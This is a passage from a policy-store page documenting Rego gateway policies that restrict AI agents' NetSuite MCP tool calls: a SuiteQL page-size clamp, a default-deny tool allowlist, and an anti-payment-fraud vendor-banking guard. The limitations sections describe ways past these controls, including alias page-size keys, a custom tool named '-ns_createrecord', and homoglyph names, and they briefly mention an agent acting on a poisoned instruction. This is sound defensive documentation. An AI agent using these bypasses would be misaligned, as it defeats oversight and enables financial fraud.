`/v1/all` — a PF-28 `default-deny-unknown-tools` policy so any unrecognised, SuiteQL-capable tool must be allow-listed before an agent can call it. This policy is deliberately single-purpose (clamp SuiteQL page size) and does not attempt to enumerate every bulk-read tool. - **`pageSize` is the only unverified-default assumption.** The clamp assumes the server's own omitted-`pageSize` default can exceed the ceiling; if your account is configured with a small server-side default, injecting 100 on a missing value is still a safe upper bound, never an increase below your intent — but confirm the server default if exact page sizing matters. - **Only the exact `pageSize` key is clamped, and alias keys are never removed.** The clamp reads and rewrites the camelCase `pageSize` key (the sole page-size argument verified in the NetSuite landscape note). A request that carries the page size *only* under an alternate-case or alias key (`PageSize`, `pagesize`, `page_size`) reads `pageSize` as absent, so the "missing" branch fires and `pageSize: 100` is *injected* — but the alias key is still left intact. **More importantly, if a benign in-range `pageSize` (1–100) coexists with a large alias key** — e.g. `{"pageSize": 50, "PageSize": 5000}` — the clamp condition is not met at all, so **no transform fires and nothing is injected**: the large alias passes through completely untouched. In either case, a NetSuite endpoint that treats argument names case-insensitively or accepts a snake_case alias could honour the un-clamped alias value, and pairing a small canonical `pageSize` with a large alias is a deliberate way to slip past the clamp. The verified official/`dsvantien` schema uses only `pageSize`, so an unknown alias is expected to be ignored server-side; if you front a server that accepts aliases, extend the clamp to strip/normalise every alias key rather than relying on injection. - **No identity-based exemptions.** All callers are clamped equally. If a finance/data-ops group legitimately needs larger pages, add an `input.subject.claims`-gated bypass as a separate `allow`/transform branch. > **Compliance note.** This policy supports alignment with the cited framework > controls **on the MCP path only**. No policy or bundle makes an organization > compliant with any framework; web-UI, native-API, and in-app access are > outside the gateway's reach by design. Validate against your own compliance > program before relying on it. ```rego package netsuite.ingress.cap_bulk_export # Transform-only policy — never denies, only clamps the SuiteQL page size. default allow := true # Maximum rows a single ns_runCustomSuiteQL call may request per page. # Per-tenant constant — edit to match your data-minimisation standard. page_size_ceiling := 100 # --- Tool matching ----------------------------------------------------------- # The gateway prefixes tool names with the configured MCP server name, so we # match case-insensitively by suffix to stay portable. Covered: the official # NetSuite MCP Standard Tools SuiteApp tool `ns_runCustomSuiteQL` and the # dsvantien community proxy, which exposes identical ns_* names/shapes. # Verify the exact name your gateway sends with the dump-input debug technique. is_suiteql_tool if { endswith(lower(input.resource.name), "ns_runcustomsuiteql") } # --- Argument access --------------------------------------------------------- # The DTwo PARC schema surfaces tool arguments under `input.payload.args`; the # NetSuite landscape note calls the same object `arguments`. Resolve `args` # first (real gateway key), then fall back to `arguments` so the clamp works # under either convention. `object.get` everywhere — every field may be absent. payload := object.get(input, "payload", {}) # Resolve the argument object: PARC `args` first, NetSuite-note `arguments` # fallback. Coerce a null / non-object envelope (e.g. `"args": null`) to {} so # such a request still clamps to the ceiling instead of failing open — a null # envelope leaves `page_size` undefined, which would otherwise skip the clamp. resolved_args := object.get(payload, "args", object.get(payload, "arguments", {})) raw_args := resolved_args if is_object(resolved_args) raw_args := {} if not is_object(resolved_args) # Missing `pageSize` reads as 0 (default), which we treat as "clamp to ceiling" # below — the server would otherwise apply its own large default page size. page_size := object.get(raw_args, "pageSize", 0) # --- Clamp conditions -------------------------------------------------------- # A numeric pageSize above the ceiling. needs_clamp if { is_number(page_size) page_size > page_size_ceiling } # A non-positive numeric pageSize: 0 (also the "missing" default) or negative. # Some SQL layers treat these as unbounded / fall back to a large page, so a # non-positive value would otherwise be a fail-open bypass of the ceiling. needs_clamp if { is_number(page_size) page_size < 1 } # A pageSize that is present but not a number (e.g. "500" as a string, or null): # fail-safe to the ceiling rather than letting the server parse it. needs_clamp if { not is_number(page_size) } # --- Transform --------------------------------------------------------------- # Rewrite (or inject) pageSize on ns_runCustomSuiteQL, preserving sqlQuery and # description via object.union. The action guard keeps this ingress transform # from firing on the egress (tool_post_invoke) path. transform := {"transformed_payload": object.union(raw_args, {"pageSize": page_size_ceiling})} if { input.action == "tool_pre_invoke" is_suiteql_tool needs_clamp } ``` ### NetSuite Default-Deny Unknown MCP Tools URL: https://www.intentbasedpolicy.com/policies/netsuite/default-deny-unknown-tools App(s): netsuite | Direction: ingress | Bundles: soc2 | Package: netsuite.ingress.default_deny_unknown_tools | Published: 2026-07-12 | Tags: netsuite, default-deny-unknown-tools, allowlist, access-control, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/netsuite/default-deny-unknown-tools/policy.md # netsuite / default-deny-unknown-tools **Direction:** ingress (`tool_pre_invoke`) **Default:** deny — only allowlisted NetSuite standard-tool names pass **Package:** `netsuite.ingress.default_deny_unknown_tools` ## What it does Pins an allowlist of the **audited NetSuite MCP Standard Tools** and denies every other tool call before it reaches the NetSuite AI Connector. A tool that is not on the reviewed list — a newly published standard tool, a renamed variant, or an **account-specific custom SuiteScript tool** — is denied-and-alerted instead of executing silently. A missing, non-string, or non-ASCII tool name also fails closed. This posture is **mandatory for NetSuite** rather than optional hardening. The official NetSuite AI Connector exposes two endpoints: - `…/services/mcp/v1/suiteapp/com.netsuite.mcpstandardtools` — the fixed set of standard `ns_*` tools this allowlist ships, and - `…/services/mcp/v1/all` — the standard tools **plus any custom SuiteScript MCP tools installed in the account** (built with Oracle's "MCP Sample Tools"). Those custom tools carry **developer-chosen names and side effects that are unknowable in advance**, so a blocklist can never keep up with them. Only an allowlist pinned to what you have actually audited can. Because custom SuiteScript tools have arbitrary names with no forced prefix, they do not match any allowlisted `ns_*` suffix and are denied until an operator reviews each one and adds it to the per-tenant allowlist. ## Pin the allowlist to YOUR account at import time The shipped `allowed_tool_suffixes` array is the **audited standard-tool set** verified from Oracle's "Available Tools in the MCP Standard Tools SuiteApp" documentation. It is complete for the standard SuiteApp, but it is **not** a list of your account's custom SuiteScript tools. **At import time, review your account's `/services/mcp/v1/all` surface and add the exact name of every custom SuiteScript tool you have audited** — until you do, every custom tool is denied (the fail-closed direction). Remove any standard tool you do not want agents to reach (for example, drop `ns_createrecord` / `ns_updaterecord` if the agent role should be read-only, and let the write-gating companion policies handle finer control). ## Compliance alignment - **SOC 2 CC6.1** — supports logical access security over protected assets: the agent channel can only reach the NetSuite tools that were explicitly reviewed and enumerated, not whatever the `/v1/all` endpoint happens to expose. - **SOC 2 CC6.6** — supports boundary protection: a custom SuiteScript tool installed in the account, or an upstream-renamed standard tool, cannot become reachable through the gateway boundary without an explicit allowlist change. - **SOC 2 CC6.8** — supports preventing unauthorized/unreviewed software on the agent channel: a custom SuiteScript MCP tool is new executable capability over the ERP, unauthorized-by-default until reviewed (partial — covers the MCP path only). - **SOC 2 CC7.2 / CC7.3** — deny events on unknown names surface tool-set drift (new, renamed, or custom tools) as observable gateway events that feed anomaly monitoring and event evaluation (partial — the alerting/monitoring pipeline itself is a platform property, not this policy). - **GDPR Art. 25** — supports data protection by design and by default on the agent channel: the default posture for any new NetSuite data-access path (and NetSuite holds employee PII, customer/vendor bank details, and full financial results) is deny, and access requires a deliberate allowlist change. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name as `-` (e.g. `netsuite-mcp-ns_getRecord`), and that prefix is not standardized across deployments. Matching is therefore case-insensitive on `lower(input.resource.name)` and works two ways: 1. **Exact match** against an allowlisted suffix (covers a deployment that sends the bare tool name, unprefixed), or 2. **Suffix match requiring the `-` separator** — the name must end with `-`. Requiring the separator stops an unaudited tool whose name merely *ends with* an allowlisted string (e.g. a custom tool named `my_ns_getrecord`, which ends with `ns_getrecord`) from riding through on suffix matching. Both branches first require the **raw** (pre-lowercase) tool name to consist only of the ASCII set real tool names use — `[A-Za-z0-9._-]`. Checking the raw name **before** `lower()` runs closes a Unicode case-folding evasion: `lower()` folds a handful of non-ASCII code points onto ASCII letters, so a name built from homoglyphs could otherwise fold onto an allowlisted name and pass despite being a visibly different, un-audited tool. None of the *shipped* `ns_*` names contain a fold-vulnerable letter, but the guard protects any custom names you add later and rejects non-ASCII mimicry generally. A name containing any character outside that ASCII set is denied. The shipped allowlist is the standard SuiteApp inventory (all lower-cased): `ns_getrecord`, `ns_getrecordtypemetadata`, `ns_getsuiteqlmetadata`, `ns_runcustomsuiteql`, `ns_listsavedsearches`, `ns_runsavedsearch`, `ns_listallreports`, `ns_runreport`, `ns_getaccountingbooks`, `ns_getaccountingcontexts`, `ns_getnexusids`, `ns_getsubsidiaries`, `ns_createrecord`, `ns_updaterecord`. (There is no delete tool in the standard SuiteApp; a call to any `ns_delete*` name is unknown and denied.) Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape None. The decision is made entirely from the tool **name** (`input.resource.name`) — the point of this gate is that an unknown tool's semantics cannot be inspected from its arguments. A scoped unknown tool is denied even when its arguments or the whole payload are missing. A missing or empty `resource.name` resolves to `""` and is denied (fail closed). A **non-string** name (null, number, object, array — a malformed or hostile request) is coerced to `""` rather than handed to `lower()`, which would raise a built-in type error and leave `allow`/`reason` undefined; with the guard it is a clean, reasoned deny. A malformed **`resource`** itself — `null`, a string, a number, or an array in place of the expected object — is likewise normalized to an empty object, so `resource.name` still resolves to `""` and the deny carries the nameless fail-closed reason instead of silently emitting a reasonless deny (which would strip the drift-alert content downstream monitoring relies on). ## Examples ### Allowed ```jsonc // An audited standard read tool on the NetSuite server. { "input": { "action": "tool_pre_invoke", "resource": { "name": "netsuite-mcp-ns_getRecord", "type": "tool" }, "payload": { "name": "netsuite-mcp-ns_getRecord", "args": { "recordType": "salesorder", "id": "12345" } } } } ``` `allow = true`, no reason. ### Denied ```jsonc // An account-specific custom SuiteScript tool exposed on /v1/all — its name is // developer-chosen and was not on the audited allowlist. { "input": { "action": "tool_pre_invoke", "resource": { "name": "netsuite-mcp-post_bank_transfer", "type": "tool" }, "payload": { "name": "netsuite-mcp-post_bank_transfer", "args": { "amount": "50000" } } } } ``` `allow = false`, `reason = "The NetSuite tool 'netsuite-mcp-post_bank_transfer' is not on the pinned allowlist (...)"`. ## Composition This policy is the outer gate — it decides *which NetSuite tools exist* for agents. Pair it with policies that constrain *how* the allowlisted tools are used (all of which then only ever see a request that already passed this gate): - A **financial-write gate** on `ns_createRecord` / `ns_updateRecord` for posting record types (`journalentry`, `vendorbill`, `vendorpayment`, `customerpayment`, `check`, `creditmemo`) keyed to a finance IdP group. - An **anti-BEC vendor-banking guard** on `ns_updateRecord` where `recordType == "vendor"` and the record data carries bank/payment fields. - A **SuiteQL guard** on `ns_runCustomSuiteQL` for HR/payroll tables and a bulk-export cap on `pageSize`. - An **egress financial-PII redaction** policy on `ns_getRecord`, `ns_runCustomSuiteQL`, and `ns_runSavedSearch` responses. ## Known limitations - **The standard allowlist is not your full tool list.** Accounts that connect to `/services/mcp/v1/all` expose custom SuiteScript tools whose names this policy cannot anticipate; every one is denied until added. Pinning the allowlist at import time is a required deployment step, not a tuning step. - **Name-based trust only.** The policy audits tool *names*, not behavior. A custom SuiteScript tool published under an allowlisted `ns_*` name, or an upstream server that repurposes a standard name for different behavior, bypasses the intent while matching the letter. Re-audit whenever the account's installed SuiteApps or the MCP endpoint change. - **Suffix matching trusts the `-` prefix convention.** A tool literally named `-ns_getrecord` (separator included) would match the `ns_getrecord` entry even though it is a different tool. This is the residual cost of portable suffix matching. **It applies to the write suffixes too, and there it is the sharp edge of this policy:** an attacker who can install a custom SuiteScript tool on `/services/mcp/v1/all` — the exact threat this gate exists to stop — can name it `-ns_createrecord` or `-ns_updaterecord` and it will be **allowed** through, smuggling an arbitrary create/update past the default-deny. Portable suffix matching cannot distinguish it from a legitimately-prefixed standard tool. For any account that connects to `/v1/all`, treat pinning **full exact gateway names** (prefix included, in place of the suffix entries) as the real fix, not an optional hardening step; the shipped suffix list is safe only when every tool the gateway can reach is a genuine standard `ns_*` tool. - **ASCII-only tool names.** Matching requires the raw tool name to be `[A-Za-z0-9._-]` (letters, digits, underscore, dot, hyphen) — the shape all verified NetSuite tool names and typical gateway server-name prefixes take. This blocks Unicode case-fold spoofing, but a deployment whose configured MCP server name contains other characters (spaces, `/`, non-ASCII) would see even its legitimate tools denied; rename the server to an ASCII slug, or relax the character class, if so. - **Strict allowlist, no per-server pass-through.** This policy denies any tool name it does not recognize, so attach it on the pipeline fronting the NetSuite server. Tools from other MCP servers sharing the same pipeline are also denied unless their names are added to the allowlist — govern other servers with their own app policies on their own pipeline rather than relaxing this one. - **`ns_updateRecord` identifier field unverified.** The landscape note records that the record-identifier field name for `ns_updateRecord` could not be verified from Oracle docs. This policy does not read arguments, so it is unaffected, but the write-gating companion policy that inspects that field should be confirmed against a live connector. - **No identity-based exemptions.** All callers face the same allowlist. If you need a break-glass group that can call unaudited tools, add a separate `allow if` branch gated on `input.subject.claims` groups (e.g. a placeholder `"infosec"` group — replace it with your IdP's group name at import time). > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package netsuite.ingress.default_deny_unknown_tools # Deny-by-default: a tool call is allowed only via allowlist membership below. # A missing, empty, non-string, or non-ASCII tool name matches nothing and is # therefore denied (fail closed). default allow := false # Audited NetSuite MCP Standard Tools SuiteApp inventory (lower-cased), verified # from Oracle's "Available Tools in the MCP Standard Tools SuiteApp" docs. This # is the standard set only — the /services/mcp/v1/all endpoint can additionally # expose ACCOUNT-SPECIFIC CUSTOM SuiteScript tools whose developer-chosen names # are unknowable in advance. Review each custom tool and add its exact name at # import time; until then every custom tool is denied. Remove any standard tool # the agent role should not reach (e.g. the ns_createrecord / ns_updaterecord # writes if read-only). Lower-case only. allowed_tool_suffixes := [ # Reads "ns_getrecord", "ns_getrecordtypemetadata", "ns_getsuiteqlmetadata", "ns_runcustomsuiteql", "ns_listsavedsearches", "ns_runsavedsearch", "ns_listallreports", "ns_runreport", "ns_getaccountingbooks", "ns_getaccountingcontexts", "ns_getnexusids", "ns_getsubsidiaries", # Writes (governed further by the finance-gate / vendor-banking companions) "ns_createrecord", "ns_updaterecord", ] # Resource object from the request. A null / non-object `resource` (a malformed # or hostile request) is normalized to {} so name resolution stays a clean "" # instead of a runtime type error. object.get(, ...) raises a # built-in type error at eval, which would leave `raw_tool_name`, `tool_name`, # `reasons`, and `reason` all undefined — i.e. a deny with NO reason, stripping # the drift-alert content the CC7.2/7.3 audit value depends on. Normalizing here # keeps a structurally-malformed resource a clean, reasoned fail-closed deny. resource_obj := r if { r := object.get(input, "resource", {}) is_object(r) } resource_obj := {} if not is_object(object.get(input, "resource", {})) # Raw tool name straight from the request. Missing resource/name resolves to "" # via object.get and matches nothing (fail closed). raw_tool_name := object.get(resource_obj, "name", "") # Tool name, lowercased. A non-string name (null, number, object, array — a # malformed or hostile request) is coerced to "" instead of being handed to # lower(), which would raise a built-in type error and leave `allow`/`reason` # undefined. Coercing keeps the decision a clean, reasoned deny (fail closed). tool_name := lower(raw_tool_name) if is_string(raw_tool_name) tool_name := "" if not is_string(raw_tool_name) # Character-class guard on the RAW (pre-lowercase) name. Real NetSuite tool names # (`ns_*`) and gateway `-` prefixes use only ASCII letters, digits, # underscore, dot, and the `-` separator. Checking the raw name BEFORE lower() # closes a Unicode case-folding evasion: lower() folds some non-ASCII code points # onto ASCII letters, so a homoglyph name could otherwise fold onto an # allowlisted name and slip through the default-deny gate despite being a # visibly different, un-audited tool. Guarded by is_string so a non-string name # still yields a clean, reasoned deny (no built-in type error). raw_name_is_plain_ascii if { is_string(raw_tool_name) regex.match(`^[A-Za-z0-9._-]+$`, raw_tool_name) } # Exact match — covers deployments where the gateway sends the bare tool name. allow if { raw_name_is_plain_ascii some suffix in allowed_tool_suffixes tool_name == suffix } # Prefixed match — the DTwo gateway names tools `-`. # Requiring the `-` separator before the suffix stops unaudited tools whose names # merely end with an allowlisted string (e.g. a custom tool `my_ns_getrecord`, # which ends with `ns_getrecord`) from slipping through. allow if { raw_name_is_plain_ascii some suffix in allowed_tool_suffixes endswith(tool_name, sprintf("-%s", [suffix])) } # Named-but-unknown tool — the drift/alert deny. The offending name is included # so tool-set drift (new, renamed, or custom SuiteScript tools) surfaces in the # gateway's deny events instead of executing silently. reasons contains msg if { not allow tool_name != "" msg := sprintf("The NetSuite tool '%s' is not on the pinned allowlist of audited NetSuite standard MCP tools, so it is denied by default. The NetSuite AI Connector's /services/mcp/v1/all endpoint can expose account-specific custom SuiteScript tools (built with Oracle's MCP Sample Tools) whose developer-chosen names and side effects are unknowable in advance, so an unrecognized name may be a new, renamed, or custom tool that has not been reviewed. If this tool is legitimate, ask your gateway operator to audit it and add its exact tool-name suffix to the allowlist in this policy before agents can call it.", [tool_name]) } # Missing/empty/non-string tool name — cannot be verified, denied (fail closed). reasons contains "This request carries no tool name, so it cannot be matched against the pinned NetSuite allowlist and is denied by default (fail closed). Verify the gateway is populating input.resource.name with the dump-input debug technique; if tool names are missing systemically, fix the gateway configuration rather than relaxing this policy." if { not allow tool_name == "" } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### NetSuite Guard Vendor Banking Edits (Anti-BEC) URL: https://www.intentbasedpolicy.com/policies/netsuite/guard-vendor-banking App(s): netsuite | Direction: ingress | Bundles: sox | Package: netsuite.ingress.guard_vendor_banking | Published: 2026-07-12 | Tags: netsuite, guard-vendor-banking, ingress, sox Source: https://github.com/dtwoai/policy-store/blob/main/apps/netsuite/guard-vendor-banking/policy.md # netsuite / guard-vendor-banking **Direction:** ingress (`tool_pre_invoke`) **Default:** deny vendor banking/payment edits; allow everything else **Package:** `netsuite.ingress.guard_vendor_banking` ## What it does Instantiates policy family **PF-10 (guard-vendor-banking)** — the anti-BEC / payment-fraud control — for the Oracle NetSuite MCP Standard Tools SuiteApp. It denies `ns_createRecord` and `ns_updateRecord` calls when **both**: 1. the `recordType` argument is `vendor` (case-insensitive), and 2. the record's `data` payload contains a bank or payment-instruction field — a bank account number (including payment-context `*Account` fields such as `payeeAccount`), routing / ABA number, sort code, bank number/id, IBAN, SWIFT / BIC code, or a payment-method / EFT change. Vendor banking details are the classic business-email-compromise (BEC) fraud vector: once an agent (or an agent following a poisoned instruction) points a vendor's payments at an attacker-controlled account, the change is externally visible and effectively irreversible the moment a payment run executes. So the policy blocks **all callers by default**. An optional allowlisted IdP group — `ap-manager` — may perform legitimate vendor bank maintenance through the agent; everyone else is denied. Because `data` is a **JSON-encoded string** (not a nested object), the policy decodes it with `json.unmarshal(object.get(, "data", "{}"))` before inspecting field names. Field-name matching walks the decoded object recursively, so bank fields nested inside sublists are still caught. All non-vendor writes, non-banking vendor edits, and read tools pass through unchanged; the check runs at ingress, before the call reaches NetSuite, so a blocked edit never touches the vendor master. ## Compliance alignment - **SOX Rule 13a-15(f)(3) — safeguarding of assets.** Directly the PF-10 row: blocking unattended agent edits to vendor payment routing removes the single highest-value payment-fraud lever from the agent channel. - **SOX ITGC (access to programs and data).** Supports least-privilege access to a financial system — a high-risk write is confined to a named AP role rather than every OAuth-connected user's day-job NetSuite role. - **SOC 2 CC6.3 — role-based access, least privilege, and segregation of duties.** Vendor bank maintenance through the agent is restricted to the `ap-manager` group; all other callers are separated out. - **SOC 2 CC6.1 — logical access security over protected assets.** The vendor master (payment-routing data) is a protected asset; the policy applies a default-deny boundary to its banking fields on the agent path. ## Tool name matching Matched by suffix on `lower(input.resource.name)`, so the gateway's server-name prefix (e.g. `netsuite-mcp-`) does not matter: - `*ns_createrecord` — official MCP Standard Tools SuiteApp `ns_createRecord` and the `dsvantien/netsuite-mcp-server` community proxy (identical names). - `*ns_updaterecord` — `ns_updateRecord` on the same servers. The `ns_` prefix is retained in the suffix match so a same-named tool on an unrelated server is not caught. Verify the exact name your gateway sends with the dump-input debug technique before relying on this in production. Other NetSuite MCP servers use incompatible conventions (ChatFin `get-*` is read-only; glints `netsuite_*` is read-only) and are not write surfaces. The suffix is matched against **both** `input.resource.name` (canonical) and `input.payload.name` (the mirrored tool id). Matching both closes a fail-open where a request omits `resource.name` — the check could not classify the call and the pass-through rule would have let a vendor bank edit through — but the tool id is still present in `payload.name`. ## Argument shape Verified from Oracle's docs: `ns_createRecord` and `ns_updateRecord` take `{ recordType: string, data: string }`, where `data` is a **JSON-encoded string** of field key/values, e.g. `"{\"companyName\":\"Acme\"}"`. The policy: - reads the argument container from `input.payload.arguments` (the key the NetSuite landscape note documents) **and** `input.payload.args` (the generic DTwo gateway argument key), merging them so it works whichever the gateway populates; - reads `recordType` and the JSON-encoded `data` from that container; - `json.unmarshal`s `data` (defaulting to `"{}"` when absent) before matching; - inspects bank-field patterns against **both** the recursively-walked keys of the decoded `data` **and** the top-level argument keys themselves. The verified shape keeps record fields inside the `data` string, but inspecting the top-level keys too closes the "alternate argument key" evasion where a call passes `accountNumber`/`routingNumber` as siblings of `data`. The benign `recordType`/`data` keys match no bank pattern, so this adds no false positives. A vendor write whose `data` is **present but not valid JSON** is treated as a banking edit and denied (fail closed) — the policy cannot prove it does not touch banking fields. A missing/empty `data` decodes to `{}` and, having no bank fields, passes. ## Identity gate The optional exemption reads the caller's IdP `groups` claim (array of strings, compared case-insensitively) via `object.get(input.subject.claims, "groups", [])`. A caller with no `input.subject`, no `claims`, or no `groups` claim is **not** in `ap-manager` and is therefore denied — `default allow := false` fails closed when identity is missing. ## Examples ### Allowed — non-banking vendor edit ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "netsuite-mcp-ns_updateRecord", "type": "tool" }, "subject": { "sub": "auth0|jane", "claims": {} }, "payload": { "name": "netsuite-mcp-ns_updateRecord", "arguments": { "recordType": "vendor", "data": "{\"companyName\":\"Acme Supplies\",\"email\":\"ap@acme.example\"}" } } } } ``` `allow = true`, no reason (no bank/payment field present). ### Denied — vendor bank routing change by a non-AP caller ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "netsuite-mcp-ns_updateRecord", "type": "tool" }, "subject": { "sub": "auth0|jane", "claims": { "groups": ["viewer"] } }, "payload": { "name": "netsuite-mcp-ns_updateRecord", "arguments": { "recordType": "vendor", "data": "{\"accountNumber\":\"000123456789\",\"routingNumber\":\"021000021\"}" } } } } ``` `allow = false`, `reason = "Editing vendor banking or payment-instruction details through the agent is blocked to prevent payment fraud. Make vendor bank changes through your reviewed accounts-payable (AP) process instead. Contact your finance team if this is a false positive."`. ### Allowed — AP manager performing legitimate maintenance Same call as above but with `"groups": ["ap-manager"]` → `allow = true`. ## Composition This policy is single-purpose. Useful companions: - **PF-11 protect-closed-periods** — deny edits/voids of posted transactions and closed accounting periods (`journalentry`, `vendorbill`, etc.). - **PF-09 gate-money-movement** — group-gate and cap `vendorpayment` / `check` creation so a redirected invoice cannot be paid out unattended. - **PF-28 default-deny-unknown-tools** — mandatory on the `/services/mcp/v1/all` endpoint, where custom SuiteScript tools with arbitrary names could edit a vendor outside `ns_createRecord`/`ns_updateRecord`. - **PF-05/PF-02 egress redaction** on `ns_getRecord` / `ns_runCustomSuiteQL` so existing vendor bank details are not read back into agent context. ## Known limitations - **Update-identifier field is unverified.** The NetSuite landscape note flags that `ns_updateRecord`'s record-identifier field name is not published on Oracle's index page and could not be fetched; this policy does not depend on that field (it keys only on `recordType` + `data`), but confirm the argument shape against a live connector before extending it. - **Bank field names are pattern-based approximations.** NetSuite exposes vendor EFT / bank details through a "Financial Institution" subrecord whose exact JSON field keys are **unverified**. The policy matches conservative key patterns recursively: `account number/no/num`, `acct*`, `bankaccount`, payment-context `*account` fields prefixed by `bank|payee|payer|payto|beneficiary|remit|deposit|ach|eft|wire` (so `payeeAccount`, `directDepositAccount`, `achAccount` are caught), `bank number/no/num/id/code`, `sort code`, `routing`, `aba`, `iban`, `swift`, `bic`, `payment method/instruction/detail/type`, and `eft`. Confirm the real key names on your account and extend `bank_field_patterns` if needed — region-specific variants not covered above (e.g. a bare `sortcode`-less `branchCode`, `institutionNumber`, `transitNumber`) must be added per account. - The `aba` and `bic` acronyms are matched only at a **token-leading** boundary (`abaNumber`, `bicCode`, and bare `aba`/`bic` are caught; an acronym buried mid-camelCase such as `vendorAbaNumber` or `beneficiaryBic` is **not**) — kept narrow so common words that merely contain `aba` (e.g. `database`) do not false-positive. This is not a redirect gap on its own: a BIC/ABA identifies a bank but does not by itself move funds, and any real redirect must also change the destination **account/IBAN**, which the broad `account*`/`routing`/`iban`/`swift`/`*account` patterns catch. - A field named **exactly** `account` (or `accountId`, `glAccount`, `expenseAccount`) is **intentionally not matched**: on a vendor record the unqualified `account` field is almost always a GL-account reference, and matching it would false-positive on nearly every vendor edit. A genuine bank-account field must therefore carry a `number/no/num` suffix, an `acct`/`bankaccount` token, or a payment-context prefix to be caught — verify your account's real EFT key name and extend the patterns if it is an unqualified `account`. - Only field **keys** are inspected, not values: a bank number pasted into a free-text value (e.g. a `notes` field) is not treated as a banking edit because it does not write the vendor's routing/account field and so is not a payment-redirect vector. - **Group names are placeholders — replace `ap-manager` with your IdP's group name at import time.** The `groups` claim must be emitted by your IdP; many (including Auth0) require explicit configuration before group information reaches the token. - **Argument container key.** The policy reads both `input.payload.arguments` (per the landscape note) and `input.payload.args` (the generic gateway field). Each is coerced to `{}` if a gateway populates it with a scalar instead of an object, so a non-object container can neither fail the merge open nor evade the check. If your gateway uses a third key, capture it with the dump-input technique and extend the argument accessor. The `recordType` and `data` **keys** are read exactly as the verified MCP input schema names them; a differently-cased key (`recordtype`, `Data`) is not a schema-valid call — NetSuite rejects it rather than performing a vendor write — so it is correctly not treated as a guarded edit. - **Tool identity.** The guarded suffix is matched against both `input.resource.name` and `input.payload.name`, so a request missing one still classifies. If a request carries **no tool identity at all** (neither field), the policy cannot know it is a write tool and passes it through; pair with **PF-28 default-deny-unknown-tools** on the NetSuite endpoint, which denies calls whose tool name is absent or unrecognized. - **Record-type normalization.** `recordType` is stringified, lowercased, and whitespace-trimmed before the `== "vendor"` match, so casing or padded values (`" vendor "`) cannot slip past. Matching is still exact on the normalized value; the policy does not attempt fuzzy/alias record-type matching. - **Malformed-JSON handling.** A vendor write with a present-but-unparseable `data` string is denied (fail closed). NetSuite would reject malformed data too, so this blocks nothing legitimate; it only closes an inspection-evasion path. - **Other write paths.** The standard SuiteApp has no delete tool, but a custom SuiteScript MCP tool on `/services/mcp/v1/all` could edit a vendor without going through `ns_createRecord`/`ns_updateRecord`; pair with PF-28. - **MCP path only.** Vendor bank edits made in the NetSuite web UI, via SuiteTalk/REST directly, or by SuiteScript are outside the gateway's reach. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package netsuite.ingress.guard_vendor_banking # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # IdP groups allowed to perform vendor bank maintenance through the agent. # PLACEHOLDER — replace `ap-manager` with your IdP's group name at import time. # Compared case-insensitively against the caller's `groups` claim. allowed_groups := {"ap-manager"} # Field-name patterns (RE2, matched against lowercased keys) that indicate a # bank or payment-instruction field on a vendor record. Conservative shapes — # NetSuite's exact EFT/bank subrecord field keys are unverified, so confirm and # extend for your account. bank_field_patterns := [ `account[_ ]?(number|no|num)`, # bank account number (accountNumber, account_no) `acct`, # acct, acctNum, bankAcctNumber `bankaccount`, # bankAccount* # Payment-context "…account" fields with no numeric suffix (payeeAccount, # directDepositAccount, achAccount) — a bank-context prefix keeps a bare GL # `account`/`expenseAccount`/`accountId` reference from being caught. `(bank|payee|payer|payto|beneficiary|benef|remit|deposit|ach|eft|wire)[a-z0-9_ ]*acc`, `bank[_ ]?(number|no|num|id|code)`, # bank routing/identifier (bankNumber, bankId, bank_code); NOT bankName `sort[_ ]?code`, # UK/IE sort code (routing equivalent) `routing`, # routing / routingNumber `\baba`, # ABA routing number (aba, abaNumber, abaRoutingNo — token-leading) `iban`, # IBAN `swift`, # SWIFT code `\bbic`, # BIC code (bic, bicCode — token-leading) `payment[_ ]?(method|instruction|detail|type)`, # payment-method / instruction change `eft`, # EFT / electronic funds transfer ] # Coerce a value to an object, defaulting to {} when it is not one. Keeps # object.union below from type-erroring (which would leave `ns_args` undefined # and silently disable the whole check — a fail-open) if a gateway populates an # argument container with a scalar instead of an object. as_object(x) := x if is_object(x) as_object(x) := {} if not is_object(x) # Argument container: merge the generic gateway key (`args`) and the NetSuite # landscape-note key (`arguments`), with `arguments` winning on conflict. Works # whichever the gateway populates; a non-object container coerces to {} so the # other container (or the fail-closed default) still governs. ns_args := object.union( as_object(object.get(object.get(input, "payload", {}), "args", {})), as_object(object.get(object.get(input, "payload", {}), "arguments", {})), ) # Candidate tool names: the canonical `input.resource.name` AND the mirrored # `input.payload.name`. Matching both closes a fail-open where a request omits # `resource.name` (the check could not classify the call and `allow if not # is_target_write_tool` let it through) but still carries the tool id in # `payload.name`. Empty/missing names are dropped. candidate_tool_names contains name if { some raw in [ object.get(object.get(input, "resource", {}), "name", ""), object.get(object.get(input, "payload", {}), "name", ""), ] name := lower(sprintf("%v", [raw])) name != "" } # Target write tools, matched by suffix (keeps the `ns_` prefix so unrelated # same-named tools are not caught). is_target_write_tool if { some name in candidate_tool_names endswith(name, "ns_createrecord") } is_target_write_tool if { some name in candidate_tool_names endswith(name, "ns_updaterecord") } # Normalize the record type: stringify (so a stray numeric id can't type-error # lower()), lowercase, and trim surrounding whitespace/tabs/newlines so a padded # `" vendor "` cannot slip past the exact `== "vendor"` match. record_type := trim_space(lower(sprintf("%v", [object.get(ns_args, "recordType", "")]))) # The JSON-encoded `data` argument decoded to an object. `data` is a # JSON-encoded string, not a nested object; default "{}" when absent. Undefined # (rule fails) when `data` is present but not valid JSON. vendor_data := json.unmarshal(object.get(ns_args, "data", "{}")) # True only when `data` decodes successfully (missing/empty "{}" counts). data_parseable if { json.unmarshal(object.get(ns_args, "data", "{}")) } # Keys to inspect for bank-field patterns, lowercased. Two contributors: # 1. the 